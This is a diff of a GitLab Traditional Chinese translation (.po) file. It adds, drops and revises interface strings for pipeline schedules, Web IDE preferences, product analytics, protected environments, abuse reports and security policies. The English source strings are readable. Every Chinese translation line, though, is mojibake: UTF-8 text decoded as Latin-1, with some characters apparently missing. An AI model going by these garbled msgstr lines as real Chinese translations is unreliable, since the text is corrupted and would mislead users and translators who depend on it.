msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "如果尚未é…置,需è¦å°‡ä»¥ä¸‹å…§å®¹åŠ å…¥åˆ°%{codeStart}.pypirc%{codeEnd}文件中。"
@@ -29258,9 +29613,6 @@ msgstr "å°ä¸èµ·ï¼Œæ²’有符åˆéŽæ¿¾å™¨çš„任何çµæžœ"
msgid "PackageRegistry|Source project located at %{link}"
msgstr "來æºå°ˆæ¡ˆä½æ–¼%{link}"
-msgid "PackageRegistry|Take survey"
-msgstr "åƒåŠ èª¿æŸ¥"
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr "目標 SHA:%{sha}"
@@ -29401,12 +29753,6 @@ msgstr "å‚æ•°"
msgid "Parent"
msgstr "上層"
-msgid "Parent epic doesn't exist."
-msgstr "父å²è©© (epic) ä¸å­˜åœ¨ã€‚"
-
-msgid "Parent epic is not present."
-msgstr "父å²è©© (epic) ä¸å­˜åœ¨ã€‚"
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr "åƒæ•¸:embed_json解æžéŒ¯èª¤ã€‚%{message}"
@@ -29938,8 +30284,8 @@ msgstr "正在驗證æµæ°´ç·š...å¯èƒ½éœ€è¦ä¸€åˆ†é˜ã€‚"
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr "等待載入 CI 內容..."
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
-msgstr "自訂(%{linkStart}Cron 語法%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
+msgstr "自訂(%{linkStart}å–得更多資訊。%{linkEnd})"
msgid "PipelineSchedules|Activated"
msgstr "是å¦å•Ÿç”¨"
@@ -29953,6 +30299,9 @@ msgstr "全部"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr "確定è¦åˆªé™¤æ­¤æµæ°´ç·šæŽ’程嗎?"
+msgid "PipelineSchedules|Cron timezone"
+msgstr "Cron 時å€"
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr "刪除æµæ°´ç·šæŽ’程"
@@ -29965,6 +30314,9 @@ msgstr "編輯æµæ°´ç·šæŽ’程"
msgid "PipelineSchedules|Inactive"
msgstr "未啟用"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr "間隔模å¼"
+
msgid "PipelineSchedules|Last Pipeline"
msgstr "最近一次æµæ°´ç·š"
@@ -29992,6 +30344,12 @@ msgstr "為此æµæ°´ç·šæ供簡短æè¿°"
msgid "PipelineSchedules|Run pipeline schedule"
msgstr "執行æµæ°´ç·šæŽ’程"
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr "儲存æµæ°´ç·šæŽ’程"
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr "å·²æˆåŠŸå¾ž %{owner} å–得所有權。"
@@ -30010,6 +30368,9 @@ msgstr "刪除æµæ°´ç·šæŽ’程時出ç¾å•é¡Œã€‚"
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr "æ“·å–æµæ°´ç·šæŽ’程時出ç¾å•é¡Œã€‚"
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr "å–å¾—æµæ°´ç·šæŽ’程所有權時發生å•é¡Œã€‚"
@@ -30964,9 +31325,6 @@ msgstr "é¸æ“‡æ‚¨å¸Œæœ›åœ¨å„€è¡¨æ¿ä¸Šé è¨­çœ‹åˆ°çš„內容。"
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "é¸æ“‡å°ˆæ¡ˆæ¦‚覽é é¢ä¸­æ‚¨æƒ³çœ‹åˆ°çš„內容。"
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr "é¸æ“‡æ‚¨è¦ä½¿ç”¨çš„ Web IDE 版本。"
-
msgid "Preferences|Color for added lines"
msgstr "已加入行的é¡è‰²"
@@ -31024,6 +31382,9 @@ msgstr "佈局寬度"
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr "必須為%{min}到%{max}之間的數字"
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr "é¸æ“‡é€€å‡ºæ¸¬è©¦ç‰ˆ Web IDE"
+
msgid "Preferences|Preview"
msgstr "é è¦½"
@@ -31051,8 +31412,11 @@ msgstr "語法醒目標示主題"
msgid "Preferences|Tab width"
msgstr "Tab 寬度"
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
-msgstr "舊版 Web IDE ä»ç„¶å¯ç”¨ï¼Œè€Œæ–°ç‰ˆ Web IDE 處於 Beta 階段。"
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr "測試版 Web IDE 是é è¨­çš„ Web IDE 體驗。"
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
+msgstr "Web IDE 與其測試版ä»ä¸¦å­˜æ供。"
msgid "Preferences|This feature is experimental and translations are not yet complete."
msgstr "此功能是實驗性的,翻譯尚未完æˆã€‚"
@@ -31066,9 +31430,6 @@ msgstr "此設定å…許您自定義系統佈局和é è¨­æª¢è¦–的呈ç¾ã€‚"
msgid "Preferences|Time preferences"
msgstr "時å€è¨­å®š"
-msgid "Preferences|Use legacy Web IDE"
-msgstr "使用舊版 Web IDE"
-
msgid "Preferences|Use relative times"
msgstr "使用相å°æ™‚é–“"
@@ -31180,6 +31541,9 @@ msgstr "ç§æœ‰ç¾¤çµ„"
msgid "Private profile"
msgstr "ç§äººè³‡è¨Š"
+msgid "Private profile:"
+msgstr "ç§æœ‰å€‹äººæª”案:"
+
msgid "Private projects Minutes cost factor"
msgstr "ç§æœ‰å°ˆæ¡ˆåˆ†é˜æˆæœ¬ä¿‚數"
@@ -31192,27 +31556,228 @@ msgstr "%{name} 指令發生錯誤: %{message}。"
msgid "Proceed"
msgstr "繼續"
-msgid "Product Analytics|Onboarding view"
-msgstr "åˆå§‹è§€"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr "使用您å好的軟體包管ç†ç¨‹å¼å°‡ NPM 軟體包新增至 package.json:"
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr "在é é¢ä¸­æ–°å¢žæŒ‡ä»¤ç¨¿ï¼Œä¸¦å°‡å®¢æˆ¶ç«¯ SDK 指派給視窗:"
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr "使用 Product Analytics 分æžæ‚¨çš„產å“"
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr "è¦è®“產å“分æžå„€è¡¨æ¿é–‹å§‹å‘您顯示資料,您必須將分æžè¿½è¹¤ç¨‹å¼ç¢¼æ–°å¢žè‡³æ‚¨çš„專案中。"
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr "辨識追蹤事件的傳é€è€…"
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr "將新的軟體包匯入您的 JS 程å¼ç¢¼ï¼š"
+
+msgid "Product Analytics|Instrument your application"
+msgstr "檢測您的應用程å¼"
+
+msgid "Product Analytics|SDK App ID"
+msgstr "SDK App ID"
+
+msgid "Product Analytics|SDK Host"
+msgstr "SDK 主機"
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr "設定 Product Analytics 以追蹤您產å“的表ç¾ï¼Œå°‡å…¶èˆ‡æ‚¨çš„ GitLan 資料çµåˆï¼Œä»¥æ›´åŠ äº†è§£æ‚¨å¯ä»¥åœ¨å“ªäº›æ–¹é¢æ”¹å–„您的產å“與開發æµç¨‹ã€‚"
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr "設定產å“分æžâ€¦â€¦"
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr "將產å“分æžæ–°å¢žç‚º CommonJS 模組的步驟"
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr "將產å“分æžæ–°å¢žç‚º HTML 指令稿標籤的步驟"
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr "將產å“分æžæ–°å¢žç‚º ESM 模組的步驟"
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr "所有追蹤事件傳é€åˆ°çš„主機"
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
+msgstr "è¦æª¢æ¸¬æ‚¨çš„應用程å¼ï¼Œè«‹é¸å–以下的其中一個é¸é …。檢測é¸é …並è’集資料後,此é é¢æœƒé€²å…¥ä¸‹ä¸€æ­¥ã€‚"
msgid "Product analytics"
msgstr "產å“分æž"
+msgid "ProductAnalytics|Add another dimension"
+msgstr "新增其他維度"
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr "加入到儀表æ¿"
+msgid "ProductAnalytics|All clicks compared"
+msgstr "已比較所有點擊"
+
+msgid "ProductAnalytics|All events compared"
+msgstr "已比較所有事件"
+
+msgid "ProductAnalytics|All features"
+msgstr "所有功能"
+
+msgid "ProductAnalytics|All pages"
+msgstr "所有é é¢"
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr "載入 %{widgetTitle} å°éƒ¨ä»¶æ™‚發生錯誤。"
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr "æ“·å–資料時發生錯誤,é‡æ–°æ•´ç†é é¢ä»¥é‡è©¦ã€‚"
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr "任何在元素上的點擊"
+
msgid "ProductAnalytics|Audience"
msgstr "觀眾"
+msgid "ProductAnalytics|Browser"
+msgstr "ç€è¦½å™¨"
+
+msgid "ProductAnalytics|Browser Family"
+msgstr "ç€è¦½å™¨å®¶æ—"
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr "é¸æ“‡å³é‚Šçš„圖表類型"
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr "é¸æ“‡æ¸¬é‡ä»¥é–‹å§‹"
+
+msgid "ProductAnalytics|Click Events"
+msgstr "點擊事件"
+
+msgid "ProductAnalytics|Code"
+msgstr "程å¼ç¢¼"
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr "將所有事件互相比較"
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr "將點擊事件互相比較"
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr "比較所有功能的功能使用情æ³"
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr "比較所有é é¢çš„ç€è¦½é‡"
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr "儀表æ¿æ˜¯é€éŽç·¨è¼¯å°ˆæ¡ˆå„€è¡¨æ¿æª”案建立的。"
+
+msgid "ProductAnalytics|Data"
+msgstr "資料"
+
+msgid "ProductAnalytics|Data Table"
+msgstr "資料表格"
+
+msgid "ProductAnalytics|Dimensions"
+msgstr "維度"
+
+msgid "ProductAnalytics|Event Type"
+msgstr "事件類型"
+
+msgid "ProductAnalytics|Events"
+msgstr "事件"
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr "按 %{granularity} 分組的事件"
+
+msgid "ProductAnalytics|Events over time"
+msgstr "隨時間變化的事件"
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr "功能使用狀æ³"
+
+msgid "ProductAnalytics|Feature usage"
+msgstr "功能使用狀æ³"
+
+msgid "ProductAnalytics|Host"
+msgstr "主機"
+
+msgid "ProductAnalytics|Language"
+msgstr "語言"
+
+msgid "ProductAnalytics|Line Chart"
+msgstr "折線圖"
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr "測é‡æ‰€æœ‰è¿½è¹¤çš„事件"
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr "測é‡æ‰€æœ‰æˆ–特定é é¢çš„ç€è¦½é‡"
+
+msgid "ProductAnalytics|Measuring"
+msgstr "測é‡"
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr "新的分æžå°éƒ¨ä»¶æ¨™é¡Œ"
+msgid "ProductAnalytics|OS"
+msgstr "作業系統"
+
+msgid "ProductAnalytics|OS Version"
+msgstr "作業系統版本"
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr "您想å–得關於什麼的洞察報告?"
+
+msgid "ProductAnalytics|Page Language"
+msgstr "é é¢èªžè¨€"
+
+msgid "ProductAnalytics|Page Path"
+msgstr "é é¢è·¯å¾‘"
+
+msgid "ProductAnalytics|Page Title"
+msgstr "é é¢æ¨™é¡Œ"
+
+msgid "ProductAnalytics|Page Views"
+msgstr "é é¢ç€è¦½é‡"
+
+msgid "ProductAnalytics|Pages"
+msgstr "é é¢"
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr "產å“分æžå„€è¡¨æ¿"
+
+msgid "ProductAnalytics|Referer"
+msgstr "åƒç…§ä½ç½®"
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr "çµæžœè³‡æ–™"
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr "此類型的圖表目å‰æ²’有資料。如果您尚未設定產å“分æžå·¥å…·ï¼Œè«‹æŸ¥çœ‹è¨­å®šæ¨™ç±¤ã€‚"
+msgid "ProductAnalytics|Track specific features"
+msgstr "追蹤特定功能"
+
+msgid "ProductAnalytics|URL"
+msgstr "URL"
+
+msgid "ProductAnalytics|User activity"
+msgstr "使用者活動"
+
+msgid "ProductAnalytics|Users"
+msgstr "使用者"
+
+msgid "ProductAnalytics|Viewport"
+msgstr "視圖"
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr "視覺化類型"
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr "您想測é‡ä»€éº¼ï¼Ÿ"
+
+msgid "ProductAnalytics|Widget"
+msgstr "å°å·¥å…·"
+
msgid "Productivity"
msgstr "生產率"
@@ -31867,6 +32432,18 @@ msgstr "顯示更多"
msgid "ProjectLastActivity|Never"
msgstr "從未"
+msgid "ProjectList|Explore"
+msgstr "探索"
+
+msgid "ProjectList|Starred"
+msgstr "已加星號"
+
+msgid "ProjectList|Topics"
+msgstr "主題"
+
+msgid "ProjectList|Yours"
+msgstr "您的"
+
msgid "ProjectOverview|Fork"
msgstr "分å‰"
@@ -32086,6 +32663,9 @@ msgstr "æµæ°´ç·šç‹€æ…‹æ›´æ”¹æ™‚觸發事件。"
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr "在建立或更新 wiki é é¢æ™‚觸發事件。"
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr "事故被建立時觸發事件"
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr "在建立ã€æ›´æ–°æˆ–關閉議題時觸發事件。"
@@ -32161,9 +32741,6 @@ msgstr " çµåˆ git 標籤與發布說明ã€ç™¼å¸ƒè­‰æ“šå’Œè³‡ç”¢ä¾†å»ºç«‹ç™¼å¸ƒ
msgid "ProjectSettings|Configure your infrastructure."
msgstr "請設定您的基礎架構。"
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr "設定您的專案資æºä¸¦ç›£æŽ§å®ƒå€‘的執行狀æ³ã€‚"
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "è¯çµ¡ç®¡ç†å“¡è®Šæ›´æ­¤è¨­å®šã€‚"
@@ -32335,9 +32912,6 @@ msgstr "åªæœ‰ %{code_block_start}Signed-off-by:%{code_block_end} çš„æ交æ‰èƒ
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr "åªæœ‰å·²ç°½ç½²æ交æ‰å¯ä»¥æŽ¨é€åˆ°æ­¤ç‰ˆæœ¬åº«ã€‚"
-msgid "ProjectSettings|Operations"
-msgstr "維é‹"
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr "覆蓋所有專案æˆå“¡çš„使用者通知å好é¸é …。"
@@ -32488,12 +33062,12 @@ msgstr "用於æ¯å€‹æ–°çš„åˆä½µè«‹æ±‚。"
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr "使用者å¯ä»¥å°‡ç‰ˆæœ¬åº«è¤‡è£½åˆ°æ–°å°ˆæ¡ˆã€‚"
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
+msgstr "如果æ交作者å稱與其 GitLab 帳號å稱一致,則使用者åªèƒ½å°‡æ交推é€åˆ°è©²ç‰ˆæœ¬åº«ã€‚"
+
msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr "如果æ交者電å­éƒµä»¶æ˜¯ä»–們自己經éŽé©—證的電å­éƒµä»¶ä¹‹ä¸€ï¼Œä½¿ç”¨è€…åªèƒ½å°‡æ交推é€åˆ°æ­¤å­˜å„²åº«ã€‚"
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
-msgstr "使用者的æ交者å稱得與 git config 使用者å稱一致,æ‰èƒ½å°‡æ交推é€åˆ°é€™å€‹å„²å­˜åº«ã€‚"
-
msgid "ProjectSettings|Users can request access"
msgstr "使用者å¯ä»¥è«‹æ±‚å­˜å–"
@@ -32623,6 +33197,9 @@ msgstr "Serverless Framework/JS"
msgid "ProjectTemplates|Spring"
msgstr "Spring"
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr "TYPO3 分佈"
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr "Tencent Serverless 框架/NextjsSSR"
@@ -33247,6 +33824,24 @@ msgstr "您åªèƒ½å¢žåŠ å…±äº«æ­¤å°ˆæ¡ˆçš„群組。 %{learn_more_link}"
msgid "ProtectedBranch|default"
msgstr "é è¨­"
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr "å…許部署"
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr "æ“·å–關於é¸å®šæ‰¹å‡†è€…的資訊時發生錯誤。"
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr "批准è¦å‰‡"
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr "批准數é‡å¿…須介於 1 至 5 之間"
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr "設定哪些群組ã€å­˜å–等級或使用者需è¦æ‰¹å‡†ã€‚"
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr "設定å…許部署到此環境的群組ã€å­˜å–等級或使用者"
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} å°‡å°é–‹ç™¼äººå“¡å¯å¯«å…¥ï¼Œç¢ºå®šç¹¼çºŒå—Žï¼Ÿ"
@@ -33259,6 +33854,9 @@ msgstr "å…許部署"
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr "å…許部署到 %{project} / %{environment}"
+msgid "ProtectedEnvironment|Approvers"
+msgstr "批准者"
+
msgid "ProtectedEnvironment|Environment"
msgstr "環境"
@@ -33295,6 +33893,9 @@ msgstr "需è¦æ ¸å‡†"
msgid "ProtectedEnvironment|Select an environment"
msgstr "é¸æ“‡ä¸€å€‹ç’°å¢ƒ"
+msgid "ProtectedEnvironment|Select environment"
+msgstr "é¸å–環境"
+
msgid "ProtectedEnvironment|Select groups"
msgstr "é¸æ“‡ç¾¤çµ„"
@@ -34023,6 +34624,9 @@ msgstr "您å¯ä»¥ç¨å¾Œé€šéŽç·¨è¼¯ç™¼å¸ƒä¾†ç·¨è¼¯å…§å®¹ã€‚ %{linkStart}我如ä½
msgid "Reload page"
msgstr "é‡æ–°è¼‰å…¥é é¢"
+msgid "Reload the page to try again."
+msgstr "é‡æ–°è¼‰å…¥é é¢ä»¥é‡è©¦ã€‚"
+
msgid "Remediations"
msgstr "修復措施"
@@ -34290,9 +34894,6 @@ msgstr "使用 PlantUML 在您的文件中渲染圖表。"
msgid "Renew subscription"
msgstr "續訂"
-msgid "Renews"
-msgstr "æ›´æ–°"
-
msgid "Reopen"
msgstr "é‡æ–°é–‹å•Ÿ"
@@ -34350,9 +34951,6 @@ msgstr "已將所有標記å–代為%{label_references}%{label_text}。"
msgid "Replaces the clone URL root."
msgstr "å–代克隆 (Clone) URL根地å€ã€‚"
-msgid "Replication"
-msgstr "複製"
-
msgid "Reply"
msgstr "回複"
@@ -34389,6 +34987,33 @@ msgstr "未æ供報告版本,%{report_type} 報告類型支æ´ç‰ˆæœ¬ï¼š%{supp
msgid "Report your license usage data to GitLab"
msgstr "å‘ GitLab 匯報您的許å¯è­‰ä½¿ç”¨è³‡æ–™"
+msgid "ReportAbuse|Something else."
+msgstr "其他。"
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr "冒犯或侮辱。"
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr "密碼學貨幣挖礦。"
+
+msgid "ReportAbuse|They're phising."
+msgstr "網路釣魚。"
+
+msgid "ReportAbuse|They're posting malware."
+msgstr "發佈惡æ„軟體。"
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr "發佈個人訊æ¯æˆ–憑證。"
+
+msgid "ReportAbuse|They're posting spam."
+msgstr "發佈垃圾訊æ¯ã€‚"
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr "侵犯版權或商標。"
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr "您為何回報此使用者?"
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "由%{reportedBy}報告於%{timeAgo}"
@@ -35321,7 +35946,7 @@ msgstr "輸入秒數。此逾時優先於為專案設定的較低逾時。"
msgid "Runners|Executor"
msgstr "執行者"
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35692,8 +36317,8 @@ msgstr "具有手動縮放和å¯é¸æŽ’程功能的 Windows 2019 Shell。Non-spot
msgid "Runners|Yes, start deleting stale runners"
msgstr "是的,開始刪除éŽæ™‚的執行器"
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
-msgstr "您å¯ä»¥è¨­å®šä¸€å€‹ç‰¹å®šçš„執行器(runner)供多個專案使用,但您ä¸èƒ½å°‡å…¶è¨­ç‚ºå…±äº«åŸ·è¡Œå™¨ã€‚"
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
+msgstr "您å¯ä»¥è¨­å®šä¸€å€‹ç‰¹å®šçš„執行器 (runner) 供多個專案使用,但您ä¸èƒ½å°‡å…¶è¨­ç‚ºå…±äº«æˆ–群組執行器。"
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr "您已使用了%{quotaUsed},超出了共享æµæ°´ç·šæ™‚é–“é…é¡é™åˆ¶ï¼ˆ%{quotaLimit} )。"
@@ -35899,6 +36524,12 @@ msgstr "%{thenLabelStart}下一步%{thenLabelEnd} 需è¦ä½¿ç”¨æ¨™ç±¤ %{tags} 執
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr "æµæ°´ç·šåŸ·è¡Œä¸­"
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr "例如,tag-name-1, tag-name-2"
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr "如果該欄ä½ç‚ºç©ºï¼ŒåŸ·è¡Œå™¨ (runner) 將被自動é¸å–"
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr "掃æ器é…ç½®"
@@ -35923,9 +36554,6 @@ msgstr "é¸æ“‡æŽƒæ器é…ç½®"
msgid "ScanExecutionPolicy|Select site profile"
msgstr "é¸æ“‡ç«™é»žé…ç½®"
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr "é¸æ“‡æ¨™ç±¤ (如果有)"
-
msgid "ScanExecutionPolicy|Site profile"
msgstr "站點é…ç½®"
@@ -35941,6 +36569,9 @@ msgstr "分支"
msgid "ScanExecutionPolicy|in namespaces"
msgstr "在命å空間中"
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr "%{count} 個許å¯è­‰"
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr "%{ifLabelStart}如果%{ifLabelEnd} %{scanners} 在é‡å° %{branches} 的開放åˆä½µè«‹æ±‚中發ç¾è¶…éŽ %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} çš„æ¼æ´ž"
@@ -35950,12 +36581,36 @@ msgstr "%{ifLabelStart}if%{ifLabelEnd} %{selector}"
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr "%{thenLabelStart}然後%{thenLabelEnd} 需è¦ä»¥ä¸‹ %{approvalsRequired} 個核准人的核准:"
+msgid "ScanResultPolicy|Newly Detected"
+msgstr "新檢測到"
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr "é å…ˆå­˜åœ¨"
+
msgid "ScanResultPolicy|add an approver"
msgstr "加入核准者"
+msgid "ScanResultPolicy|except"
+msgstr "除外"
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr "在é‡å° %{branches} é–‹å•Ÿçš„åˆä½µè«‹æ±‚中找到任何 %{licenseStates} çš„ %{matchType} %{licenseType} 許å¯è­‰"
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr "在é‡å° %{branches} 的開放åˆä½µè«‹æ±‚中 %{scanners} æ‰¾åˆ°è¶…éŽ %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} 個æ¼æ´ž"
+msgid "ScanResultPolicy|license states"
+msgstr "許å¯è­‰ç‹€æ…‹"
+
+msgid "ScanResultPolicy|license type"
+msgstr "許å¯è­‰é¡žåž‹"
+
+msgid "ScanResultPolicy|matching"
+msgstr "符åˆ"
+
+msgid "ScanResultPolicy|matching type"
+msgstr "符åˆé¡žåž‹"
+
msgid "ScanResultPolicy|scanners"
msgstr "掃æ器"
@@ -36148,9 +36803,6 @@ msgstr "æœå°‹å°ˆæ¡ˆ"
msgid "Search projects"
msgstr "æœå°‹å°ˆæ¡ˆ"
-msgid "Search projects..."
-msgstr "æœå°‹å°ˆæ¡ˆ..."
-
msgid "Search protected branches"
msgstr "æœå°‹å—ä¿è­·çš„分支"
@@ -36507,6 +37159,15 @@ msgstr "%{branches} 與 %{lastBranch} 分支"
msgid "SecurityOrchestration|%{branches} branch"
msgstr "%{branches} 分支"
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr "%{scannerStart}%{scanner}%{scannerEnd}"
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr "%{scannerStart}%{scanner}%{scannerEnd} 在帶有 %{tags} 和 %{lastTag} 標籤的執行器 (runners)"
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr "%{scannerStart}%{scanner}%{scannerEnd} 帶有 %{tags} 標籤的執行器 (runners)"
+
msgid "SecurityOrchestration|%{scanners}"
msgstr "%{scanners}"
@@ -36528,6 +37189,9 @@ msgstr "行動"
msgid "SecurityOrchestration|Add action"
msgstr "增加動作"
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr "加入è¦å‰‡"
@@ -36807,8 +37471,8 @@ msgstr "步驟 2:政策詳情"
msgid "SecurityOrchestration|Summary"
msgstr "摘è¦"
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
-msgstr "此開發專案中ä¸å­˜åœ¨ä»¥ä¸‹åˆ†æ”¯ï¼š%{branches}。 在更新此政策之å‰ï¼Œè«‹æª¢æŸ¥æ‰€æœ‰åˆ†æ”¯ä»¥ç¢ºä¿è©²å€¼æº–確無誤。"
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
+msgstr "此開發專案中ä¸å­˜åœ¨ä»¥ä¸‹åˆ†æ”¯ï¼š%{branches}。更新該政策之å‰ï¼Œè«‹æª¢æŸ¥æ‰€æœ‰å—ä¿è­·çš„分支以確ä¿è©²å€¼æº–確無誤。"
msgid "SecurityOrchestration|There was a problem creating the new security policy"
msgstr "建立新的安全政策時出ç¾å•é¡Œ"
@@ -36870,12 +37534,12 @@ msgstr "您還沒有任何安全政策"
msgid "SecurityOrchestration|a"
msgstr "一個"
-msgid "SecurityOrchestration|all branches"
-msgstr "全部分支"
-
msgid "SecurityOrchestration|all namespaces"
msgstr "全部命å空間"
+msgid "SecurityOrchestration|all protected branches"
+msgstr "所有被ä¿è­·çš„分支"
+
msgid "SecurityOrchestration|an"
msgstr "一個"
@@ -36888,6 +37552,9 @@ msgstr "分支"
msgid "SecurityOrchestration|group level branch"
msgstr "群組層級分支"
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
